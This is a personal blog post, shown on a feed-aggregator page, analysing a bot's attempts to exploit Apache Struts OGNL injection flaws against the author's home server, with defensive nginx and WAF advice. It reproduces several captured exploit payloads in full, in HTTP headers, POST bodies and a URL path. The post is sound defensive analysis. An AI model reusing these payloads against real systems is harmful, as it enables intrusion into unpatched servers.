惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
L
LINUX DO - 最新话题
Recorded Future
Recorded Future
月光博客
月光博客
博客园 - 【当耐特】
博客园 - 叶小钗
宝玉的分享
宝玉的分享
量子位
雷峰网
雷峰网
博客园 - 三生石上(FineUI控件)
The Cloudflare Blog
Vercel News
Vercel News
L
LangChain Blog
B
Blog
Y
Y Combinator Blog
爱范儿
爱范儿
GbyAI
GbyAI
S
Security @ Cisco Blogs
T
The Blog of Author Tim Ferriss
A
About on SuperTechFans
博客园 - Franky
P
Palo Alto Networks Blog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
云风的 BLOG
云风的 BLOG
C
Cisco Blogs
Scott Helme
Scott Helme
I
Intezer
T
The Exploit Database - CXSecurity.com
MyScale Blog
MyScale Blog
T
Tor Project blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
T
Troy Hunt's Blog
N
News and Events Feed by Topic
大猫的无限游戏
大猫的无限游戏
F
Fortinet All Blogs
www.infosecurity-magazine.com
www.infosecurity-magazine.com
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
S
Security Affairs
Cyberwarzone
Cyberwarzone
PCI Perspectives
PCI Perspectives
小众软件
小众软件
D
DataBreaches.Net
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Know Your Adversary
Know Your Adversary
Forbes - Security
Forbes - Security
S
Securelist
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
C
Cyber Attacks, Cyber Crime and Cyber Security
The Last Watchdog
The Last Watchdog

Posts on Noah Bailey

How to turn anything into a router Deploy to Cloudfront from GitHub using OpenID Connect Backup Postgres databases with Kubernetes CronJobs The spelling error made 200 billion times a day Restarting Kubernetes pods using a CronJob You've just bought a new domain. Now what? Who Sawed My Motherboard??? Linux on the P8 Aliexpress Mini Laptop Recovering Mysql/Mariadb after a nasty crash Using EXIF data to pick my next lens Converting and developing RAW photos on Linux automatically Thank you, 2016 iPhone Don't Make It Work Self-hosted Surveillance with ZoneMinder Backups, Monitoring, and Security for small Mastodon servers Block web scanners with ipset & iptables Executing commands over SSH with GitHub Actions Debian Sid on encrypted ZFS Protect your dangerously insecure redis server Debian: the luxurious boring lifestyle Monitor radiation with a Raspberry Pi Simple Linux server alerts: Know your performance, errors, security, syslog, and security NUC crashes on debian 11 - How I fixed it Basic Linux server security with fail2ban, ossec, and firewall Windows 11 will create heaps of needless trash Domesticated Kubernetes Networking The Cursed Certificate Our mostly disposable and entirely stupid world Trying out OpenBSD (as a Linux geek) Making VoIP Calls with Antique Rotary Phones Monitoring WAN speed with speedtest-cli and ElasticSearch Monitoring WAN latency with InfluxDB The Zeroshell botnet returns Installing Gentoo on a vintage Thinkpad T60 Malware emails 2: Russian boogaloo TP-Link Device Weirdness ElasticSearch broke all my nice things (a story of cascading failure) A New Botnet is Targeting Network Infrastructure Malware on the Wire: Monitoring Network Traffic with Suricata and ClamAV Cloud Threat Protection with OSSEC and Suricata Malware Emails From Jerks Surviving the Apocalypse with an Offline Wikipedia Server Linux Router, Firewall and IDS Appliance You Probably Don't Need a VPN Fix an Oversharded Elasticsearch Cluster Automating KVM Virtualization Update all your linux servers as fast as possible Cleanup Systemd Journald Storage Stop Putting Your SSH Keys on Github! Clustering KVM with Ceph Storage Stealing Windows Sessions FreeRadius Active Directory Integration Retrieving WPA2 Keys on Windows Deploy MDT Litetouch on Linux with TFTPD and Syslinux Generating MSI transform files with Orca The Inflatable Dinghy Generating Cisco IOS config files with Python Homebrew SAN Getting Cloudy
Being Attacked by Bots
2020-02-19 · via Posts on Noah Bailey

On the 19th of January 2020, a malicious actor launched an attack against my home infrastructure. At 42 minutes after midnight a device located in Buenos Aires, Argentina began attacking my proxy server. For the next six minutes, approximately 150 malicious HTTP requests were made.

Fortunately, every single one of these requests was met with a HTTP/400 response, that’s because I don’t use Apache Struts 2 which this bot was attempting to exploit. Thanks to my IDS software, Suricata, I have a record of all of these requests and what they were attempting to do.

This is the same attack vector used Chinese state sponsored hackers who attacked and compromised Equifax in 2017. The tools that were used in that attack are likely very similar to the ones used on me, so maybe we’ll be able to take apart this attack and learn some more about how these exploits work.

The Attack

Content-Type header attack

Suricata detected this request as “Possible Apache Struts OGNL Expression Injection (CVE-2017-5638)”

The raw HTTP headers are as follows:

GET / HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: %{(#fuck='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

That’s pretty nasty. What we’re hearing here is a fairly normal HTTP request up until the Content-Type header. This header contains some sort of script.

The contents of Content-Type can be exploded a little so that it makes a bit more sense:

(#fuck='multipart/form-data')
  .(#[email protected]@DEFAULT_MEMBER_ACCESS)
  .(#_memberAccess?(#_memberAccess=#dm):(
     (#container=#context[
        'com.opensymphony.xwork2.ActionContext.container'])
    .(#ognlUtil=#container.getInstance(
        @com.opensymphony.xwork2.ognl.OgnlUtil@class))
    .(#ognlUtil.getExcludedPackageNames().clear())
    .(#ognlUtil.getExcludedClasses().clear())
    .(#context.setMemberAccess(#dm))))
  .(#[email protected]@getRequest())
  .(#[email protected]@getResponse().getWriter())
  .(#outstr.println(#req.getRealPath("/")))
  .(#outstr.close())
  .(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
  .(@org.apache.commons.io.IOUtils@copy(
      #process.getInputStream(),#ros))
  .(#ros.flush())

After a little searching, this is almost exactly the same as the RCE example from ExploitDB. While the PoC exploit is performing command injection, this request is simply testing that the prerequisites for a successful attack are in place. Unfortunately, I don’t have Struts in my environment, so that’s as far as our friends get with this exploit.

HTTP POST body

This request was flagged by the IDS software as “Possible Apache Struts OGNL Command Execution CVE-2013-2251 redirect”.

Unlike the previous one, this attempt lives in the HTTP POST body instead of the headers. This was patched many years ago, so it’s unlikely that it would have worked.

POST / HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4
Content-type: application/x-www-form-urlencoded
Content-Length: 561

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().print("web"),#resp.getWriter().print("path88888887:"),#resp.getWriter().print(#req.getSession().getServletContext().getRealPath("/")),#resp.getWriter().flush(),#resp.getWriter().close()}

This request is trying to concatenate multiple strings to slip past IDS systems. This may have worked in 2013, but it sure doesn’t now.

We can take apart this script to see what it does:

${
#req=#context.get(
    'com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#resp=#context.get(
    'com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#resp.setCharacterEncoding('UTF-8'),
#resp.getWriter().print("web"),
#resp.getWriter().print("path88888887:"),
#resp.getWriter().print(
  #req.getSession()
      .getServletContext()
      .getRealPath("/")
),
#resp.getWriter().flush(),
#resp.getWriter().close()
}

Again, it doesn’t look like this is necessarily doing anything malicious, but this will tell an attacker if the server is exploitable. If it was, they would come back later with their nasty friends later for a full on assault.

HTTP POST body

The next attempted attack was once again in the POST body. This request was identified as “Apache Struts Possible OGNL AllowStaticMethodAccess in client body,” Similar to the previous request.

POST / HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4
Content-type: application/x-www-form-urlencoded
Content-Length: 252

a=1${(%23_memberAccess["allowStaticMethodAccess"]=true,%[email protected]@getRequest(),%[email protected]@getResponse().getWriter(),%23k8out.println(%23req.getRealPath("/")),%23k8out.close())}

This time, it’s trying to trick the permissions system into letting itself in.

HTTP Request path exploit

The final attempt at hacking struts was a crafted HTTP request path.

GET //(#[email protected]@DEFAULT_MEMBER_ACCESS)?(#[email protected]@getRequest(),#wr=#context[#parameters.obj[0]].getWriter(),#wr.println(#req.getRealPath(#parameters.pp[0])),#wr.flush(),#wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&pp=/ HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4
Content-type: application/x-www-form-urlencoded

I think this one is my favourite, because it’s trying to invoke a templating function on the server itself to rewrite the URL as an authorized one. Very sneaky.

What can we learn

First and foremost, this reinforces the need for web server log parsing tools, as well as intrusion detection systems, ideally both. Without these tools, I wouldn’t have been able to crack open these attacks and look inside.

After visibility, the next important part is actually stopping the attack. This is where defense in depth comes in. The simplest and most effective way to stop this is to put a reverse proxy out in front of the web application, stopping the malformed headers from being passed on to the backend server. I’m a big fan of Nginx for this purpose, but just about any HTTP reverse proxy will do the trick.

The next defense against this is to have a blackhole virtual host listening on all non-SNI requests. You will notice that all the requests did not use my actual hostname in the Host header, that’s because they don’t actually know what they’re attacking. So, rather than allow the server to forward those requests to the ‘closest match,’ I send them garbage back:

server {
    listen 80 default_server;
    server_name _;
    server_name_in_redirect off;
    return 402;
}
server {
    listen 443 ssl  default_server;
    server_name _;
    ssl_certificate     ssl-cert-snakeoil.pem;
    ssl_certificate_key ssl-cert-snakeoil.key;
    server_name_in_redirect off;
    return 402;
}

This way, they will always get a blank 402: Payment Required response, no matter what is sent.

Another, cheekier, default server block is what I like to use on external facing proxies at home:

server {
    listen 80 default_server;
    server_name _;
    server_name_in_redirect off;
    return 301 http://$remote_addr;
}
server {
    listen 443 ssl  default_server;
    server_name _;
    ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
    ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
    server_name_in_redirect off;
    return 301 http://$remote_addr;
}

Here, instead of returning a normal response we redirect back to the source IP. I doubt this actually causes any bots to attack themselves, but I like to think it does.

Finally, the ideal solution is to implement a proper Web Application Firewall. There are lots of them out there, and it really comes down to personal preference. The most common open source WAFs:

With these, a server admin has very granular control over the requests that they will accept or deny. For example, there’s really no reason that an HTTP header would need to have characters like (@org.apache.struts2... so most of these should be blocked and banned.

Furthermore, a smart WAF will be able to completely cut off a malicious IP after a few blocked requests. NAXSI has a very straightforward integration with fail2ban to block repeat offenders.

But, overall the most important takeaway is that a single layer of defense isn’t really enough. Just as we could patch a vulnerable install of Struts, an attacker could just as easily find a new hole. It’s an endless arms race, and the only way to get ahead is to build layer upon layer of defenses, each with their own strengths.